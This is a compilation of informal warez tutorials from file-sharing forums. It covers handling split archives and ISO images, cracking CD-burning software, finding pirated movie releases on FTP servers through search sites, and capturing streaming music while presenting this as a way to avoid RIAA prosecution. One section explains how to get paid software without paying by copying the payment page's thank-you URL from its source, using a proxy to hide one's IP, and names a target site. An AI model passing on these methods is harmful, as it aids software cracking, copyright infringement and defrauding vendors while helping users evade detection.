? Ok, do I hear protest? Yes I do. It goes: "Hell, I downloaded a multi-part package but it has NO RAR OR ACE OR ZIP OR ANYTHING!!!! Just files with extensions called *.001; *.002, ..."

Your right. Although the situation is quite different from the situation above, it's really not so different when you look closer. Those files are just unarchived the same way:

>>> Select the first file (*.001).

>>> Right-click it and select 'Extract here...'

Watch the progress bar go! You see, its just the same method. You might notice theres only 2 or 3 files decompressed: ISO or CUE and BIN files. Thats fairly normal. Well talk about handling them in topic 0x03.0...


0x02.3 - one-file downloads.


Ok so the stuff u downloaded was none of above. Conclusion: you downloaded one big file. This happens quite often when you download things from fast-working FTPs.
What you need to do now:

>>> If the file is archived (.rar, .ace, .zip, ...), just unarchive it.

>>> If the file u unrachived is some weird *.ISO or *.CUE file, go to 0x03.0.

>>> If not, just continue the procedure as stated in 0x02.2.



0x03.0 - a clear view on images.


So when youre reading this, u prolly have some files called *.ISO or *.CUE. Offcourse you want to install the software as fast as possible. But, theres a little problem here. Those extensions... What the hell are they... Alienized files? No. Secret CIA files? Nope. You can stop guessing. Ill tell you: those files are image files.


0x03.1 - what are images?


Image files are big files filled with data. Yea, you can say its a sort of archived file. But theres something special about them: they are meant to written on a disc. They were made by special programs so they could be used to write on a CD-R with a writer and specially designed software.


0x03.2 - ISO files.


ISO is the most used image-format on the net. It has become a standard to any commercial cd-writing software to support image-writing capabilities, more specific ISO images.
Conclusion: ISO is just an extension for a specific type of image -file. But how do you install your software? You have 2 ways of dealing with this:
1) Use the file for what is was created: writing it to a CD-R.
2) Extracting the contents of an ISO to a certain directory.

First: how to write them to a CD-R...

>>> Download some CD-R writing software (if you dont have it allready).

>>> Install and crack it.

I recommend Nero Burning Rom. You can download it from WareZone in the Apps section.

>>> Go buy some CD-R's

>>> Fire-up Nero and you can start burning. Im not going to explain you how to use Nero. Read the help file about image writing and you should be fine. You can also use the wizard which is loaded automatically when you boot Nero.

Second: what to do if you dont got a CD-writer....

>>> Download some Image handling software.

I recommend WinISO.

>>> Fire-up WinISO, load your image file and extract it. Again I wont explain how to use WinISO. Check for help files or tutorials on the net, they should give you all the answers you need.


0x03.3 - CUE & BIN files.


CUE and BIN files always come together. The BIN file is comparable with an ISO and the CUE file is just a check, but it is required for any program to write this file correctly. Sometimes, theres an SFV file included. Again this is just a check-up about the file integrity.
You can burn and extract these files the same way i explained in 0x03.2.

0x04.0 - CD Emulation.


Ok, so here's another way to handle ISO images if you don't have a cd-writer.
You can create a virtual cd drive. What's that? That's something you'll see as a new disk drive in your Windows Explorer. This disk drive represents the contents you would see if you would burn the ISO image to cd!
How to create a virtual cd drive? Download DaemonTools !
Additional help on www.daemon-tools.com

SIZE~speed<>28.8k mad.gif <<<<>56K disgust.gif <<<<>T1 good.gif
500K<<<<<<4 minutes<<<2 minutes<<<<1 minute
1 MB<<<<<<7 minutes<<<4 minutes<<<<1 minute
5 MB<<<<<37 minutes<<<22 minutes<<<1 minute
20 MB<<<<148 minutes<<89 minutes<<<<2 minutes
50 MB<<<<370 minutes<<222 minutes<<<4 minutes
100 MB<<<<741 minutes<<444 minutes<<9 minutes

Heres a simple trick i discovered while using media player

Find a site that lets you play music or videos using media player
e.g. ringtones/mp3 and so on.

when media player loads and is playing your music/video click File then Save Media As..

select a place to save to and rename file if you wish but dont change File Type
leave it as Internet Cache then click save.

your music/video will then download quicker than normal download speed and you will then have your file in the location you set.

BUT this won't work with every site so dont panic just try another

It has worked for me on several sites that allow you to listen to music or watch videos online

Download Mp3's Without Using Filesharing

http://www.mp3dimension.com/search/1/in/da/club/?dnsa=1
http://www.emp3s.com/dsong.aspx?id=51539&rID=X82psy]http://www.emp3s.com/dsong.aspx?id=51539&rID=X82psy
http://www.mp3-find.com/]http://www.mp3-find.com/
http://www.emp3world.com/]http://www.emp3world.com/
http://zoek.vinden.nl/?where=mp3&vid=l8020222738I1102894906&refer=resultonline&sess=a3a3a303&query=21+questions&x=0&y=0]http://zoek.vinden.nl/?where=mp3&vid=l8020...estions&x=0&y=0
http://www.maxalbums.com/]http://www.maxalbums.com/

This is the one wot i use to download MP3's
http://zoek.vinden.nl/?where=mp3&vid=l8020222738I1102894906&refer=resultonline&sess=a3a3a303&query=21+questions&x=0&y=0

Download From Ftpz, Using Ftp Search Sitez

Downloading From Ftpz & Using Ftp Search Sitez

A Tutorial By: DeadKid

Toolz Needed:
SmartFTP [ smartftp.com ]
NAPALM FTP Search Site [ search.ftphost.net ]
vcdquality.com Release Nfo Site
DAMN NFO Viewer or just notepad [www.damn.to ]

This tutorial is so i can stop answering tha same NewB questionz everyday
in this tutorial I'll xplain how to use search sites like NAPALM effectively.
basically better search results and a quality release.
we are gunna use a movie as tha example so here we go...
first thing I do is try and figure who all released it & if any were nuked and why
most of tha time you can find tha NFO at tha sites below
www.theisonews.com - www.nforce.nl - www.vcdquality.com
we are gunna use vcdquality to find out NFO on Tomb Raider: The Cradle Of Life
h**p://www.vcdquality.com/index.php?imdbid=0325703
ok say you chose tha copy Centropy released
here is tha link to tha nfo file (( You May Wanna Get DAMN NFO Viewer B.T.W. ))
h**p://www.vcdquality.com/nfo.php/ctp-tr2.nfo?id=16662&show=text&save=1
if you read it you see a section that sayz Archives [56/56*15]
ok so now ya know your looking for 2 CD'z & that are Split Rar files @ 15mb each
also you will see this (( passwd is "drudgereportdotcom" )) im sure that will help later
so now to go find tha file names by do'n a search here are some sites you can use
NAPALM - RELIZ - AMUN - FTPSpider
im gunna use NAPALM for tha example do an un-filtered search for "tomb raider centropy" without tha quotes
but I wouldn't recommend alwayz searching as above b/c
tha Name of tha Movie/App/Game/ReleaseGroup isnt alwayz gunna be in file name or url
so results could be limited but it helps on getting correct file namez
you should notice the file name seems to be in this format ctp-tr1.r54 & ctp-tr2.r54
"ctp-tr1.r54" be'n a file from CD1 and "ctp-tr2.r54" be'n a file from CD2
ok so now we know tha file names, so search for ctp-tr2.r54 and you will have more streamline results
b4 we had over 100 results from each ftp that had this movie one result per file @ over 50 files per cd
that would take way to long to go through page by page till you get to each FTP site
but now that we have tha search narrowed down by a single file name each result is a different ftp site
notice also that I searched for a high # file from cd 2 the reason for this is b/c
it is more likely that it has been fully uploaded and not missing any files b/c most people start uploading
from cd1 and in order of first split file .rar .r00 .r01 NOT from cd2 and backwards .r50 .r49 .r48
ok that wuz ez enough but now we get to tha hopefully not slow part DOWNLOADING tha filez
normally you can get better speeds from an anonymous server b/c you can use multiple connections at once
say tha server only gives ya 4k down you may be able to connect 50 times at once and get more like 200k down
but a FTP tha needs a Password and user name normally isnt that EZ
reason why is normally only 1 connection per IP is allowed
and amount of users at one time is limited to about 15 or less
so alwayz long line of peepz waiting to get in
basically even if could have more than one connection per IP
if it took 9 hrz to get access you would need to wait that long for each connection or thread
by tha time another thread connected you would have prob already finished downloading tha file anyway
NAPALM search site has nice search filter/option that will only show anonymous serverz in the results page
now open up SmartFTP and there are a few options we wanna be sure and change
Tools > Settings > General::
Set Default Download Path to whatever you want
Tools > Settings > Connection ::
Set Max Retries to -1 (( -1 = unlimited ))
Set Retry Delay to @ least 40 sec.*
*(( b/c some ftp'z will ban if you hammer/try and login to often ))
*(( read welcome messages on tha ftp log/status window for possible hammer rulez ))
Tools > Settings > Connection > Keep Alive ::
Make sure Keepalive is checked
Set interval to about 40
(( if set to low will be anoying & to high may not be effective on some sitez ))
Highlight NOOP in tha list and push Remove
Now type LIST into tha box and push tha Add
(( This is the command that keepalive uses to pretend your not idle ))
(( some ftps will kick you out if you are idle to long ))
(( and some still do with tha NOOP command we so have changed it to LIST
(( if you want you can change it to something better all i know is this works for me ))
(( nobody wants to sit 9hrz waiting to get in then get kicked out ))

SmartFTP also has Clipboard monitoring so all you need to do is have smart ftp open/running
go Back to NAPALM right click a link and select "Copy Shortcut" from tha menu and smartFtp will
popup and say FTP URL in clipboard detected if you wanna open that site Just cick yes EZ enough i think
but it can be even more simple than that if you want...

Tools > Settings > Display > Prompts ::
Uncheck: On URL Catch
(( Now it will just open tha FTP without any prompt ))

When you are conecting to ftpz you need to watch tha log/status window
For possibe crap links (( dead links and/or ratio sites ))
These are tha most common errorz to look for:

530 Account Disabled.

No connection could be made because the target machine actively refused it.

A connection attempt failed because the connected party did not properly respond after a period of time,
or established connection failed because connected host has failed to respond.

550 Permission denied. - while try'n to download a file
(( this is probably a ratio site if it has everything you ever wanted and more & looks to good to be true ))
(( it probably is and id just move on to tha next site ))

Another problem you may find on anonymous ftpz is that tha filez or folders are not there
2 reasonz for that is they were either deleted or just moved
if they were moved this could be a problem most people uploading to anonymous ftpz
make a huge maze of locked folders to hide their filez and that makes for an endless task
tryn to find the filez unless you have an app that can spider the ftp
and has tha capability to get through locked folders if so then should take only a few min
to have a list of every file on the ftp I dont know of any public app i can recommend with that capability
but they do exist... this app can get through locked folders and may kinda help seemz like a crap program
but best i could find on google in about 5 min worth of searching
PubView.zip - www.jtpfxp.net has nfo about dir locking & breaking dirs

K now ill go over some basic instructions on downloading from Anonymous and NonAnonymous Sitez
or maybe i should say sites That allow more than one connection per IP and ones that Dont
we will start with anonymous or multiple thread capable FTPz
once you have tha ftp open and you see tha files you want just drag and drop them into
the Global Queue tab on tha transfers window and then just push the start button
should have tha in speed @ bottom right status bar if its not going fast enough
you can adjust tha amount of connections/threads you have running
keep adding threads until your bandwidth is maxed or until your total In speed doesnt get any faster
another thing you may wanna keep in mind is that you can connect to more than one ftp
downloading CD1 from one site and CD2 from the other etc. for a combined speed
now we go onto NonAnonymous Sitez.... You cant use Global Queue b/c you cant have multiple threads
so just right click tha file or folder you want and select Download > Direct > Select Folder
most of these sites will be slow and could take hrz maybe dayz to get into
so what i do is just open every single result in NAPALM at tha same time
I figure i have a better chance waiting on 10 sitez then 1
so when you have them all open just close out tha ones that have tha errors mentioned above
then you can walk away and check every so often to see if you have gotten in one yet
this is where tha keepalive option helps out and of course if you happen to get into more than one @ a time
just go for tha combined speed method if going slow

thats about it, all simple stuff but seems to be tha best process i have found
hope this helpz happy hunting

Just a little basic html tip for those who are trying to download an application from sites which has an paypal order page & link to start you off.

Use a proxy when you try this to hide your ip as some sites will record your ip when you connect for security.

1) Rightclick your mouse (ctrl+click) viewsource and open the source of the site in an a texteditor
2) Search for the word "return"
3) Next to it you can find the url for the thank you page
4) Copy the url and paste it in your browser and you will see the download link

This works only if you can download instantly after payment, it will not work if the link needs to be emailed to you.

You can try it here to start with:
Code:
http://www.ramphelp.com/halfpipe.html


About half way down the page you will find:



Copy the link into your browser and download.

Are you scared that the RIAA is about to track you down for illegally downloading songs.
Well, here is a method of obtaining many songs absolutely free that is virtually untrackable
by modern technology. This has to do with capturing streaming audio, which in many cases, believe it or not
are plain old mp3s just waiting for you to "download." I have found most of the current top-40 as well as many others you may like, so keep searching. The music is waiting for you to find it.

Step 1:
First of all, you need to find a good site that hosts streaming audio. My favorite that has brought me many songs to date is hxxp://www.windowsmedia.com . Some others are just as good, but this is the site that I will be referencing (plus, I know you guys love to steal from Microsoft).

Step 2:
Alright, go up to the left hand corner where there is an empty text box. This is the search box, just fill it with a songname or artist just like you would in kazaa and click search. This will bring up a page with links to many websites hosting a stream by that artist. The ones with music notes are just that...music, this is what you want. In many cases, this is all you need. Just right click on one of the links and click "save as" to save the song. This works if the file extension is .mp3 or .wma or .asf or well-other known formats. If this worked, you are finished, otherwise continue reading.

Step 3:
However, if you encounter a .asx file, there are a few more steps you will have to endure. First of all, do exactly like the above example and save the file locally. After the file is downloaded, check to see how large the file is. If it is a large file in the megabyte range, then you should be able to play it in your favorite music program. However, if it is less than 1 kilobyte, open it as a textfile. You will then see many script commands that communicate to windows media player. Don't worry about these, just look for some URLs which will most likely be pointing to a .asf file. It will have at least one if not more. Open the new found URL in your browser and save it like in step 2 and you should be good to go. (I use Mozilla, because Internet Explorer likes to open things rather than save them as I tell it)

NOTE: If any of the URLs are preceded with "mms://" instead of "http://" find another URL, because this technique will not work.

This technique is especially useful to avoid prosecution because streaming audio, and downloading it appear the same to a web server, therefore you are seen as just another "legal" listener, so "download" away my friend and don't blame me if this soon becomes illegal (if it isn't already).

Step 4:
If you are picky then search for a program that will convert these file types to mp3s. I assure you there are many sites out there.

If this technique does not work for some reason, there is another technique which is manually recording streaming audio, with an audio capture program. I use the one that came with my soundcard (Audigy 2ZS, great soundcard), but I would recommend it only as a last resort such as with "mms://" files. There is a degredation in quality compared to the other formats and it records every sound your PC makes while it is recording so don't chat on AIM while recording (lol I can hear random doors slamming now).